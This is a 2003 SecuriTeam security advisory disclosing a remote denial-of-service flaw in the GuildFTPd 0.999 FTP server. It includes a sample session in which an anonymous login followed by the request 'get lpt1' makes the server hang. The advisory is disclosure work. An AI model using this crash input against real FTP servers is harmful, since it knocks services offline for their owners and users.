[NT] GuildFTPd Remote DoS (LPT1)

From: support@securiteam.com
Date: 01/01/03

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Date: 1 Jan 2003 11:16:49 +0200

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      GuildFTPd Remote DoS (LPT1)
    ------------------------------------------------------------------------

    SUMMARY

     <http://guildftpd.ztnet.com/Main.htm> GuildFTPd is a small FTP server. A
    vulnerability in the product allows remote attackers to cause the program
    to crash whenever it asked to access auxiliary ports (such as LPT).

    DETAILS

    Vulnerable systems:
     * GuildFTPd version 0.999

    Example:
    D:\>ftp 127.0.0.1
    Connecté à 127.0.0.1.
    220-GuildFTPd FTP Server (c) 1997-2002
    220-Version 0.999
    220 Please enter your name:
    Utilisateur (127.0.0.1:(none)) : anonymous
    331 User name okay, Need password.
    Mot de passe :
    230 User logged in.
    ftp> get lpt1
    200 PORT command successful.
    150 Opening ascii mode data connection for /lpt1 (0 bytes).
    (no response)

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:securma@caramail.com>
    securma massine.

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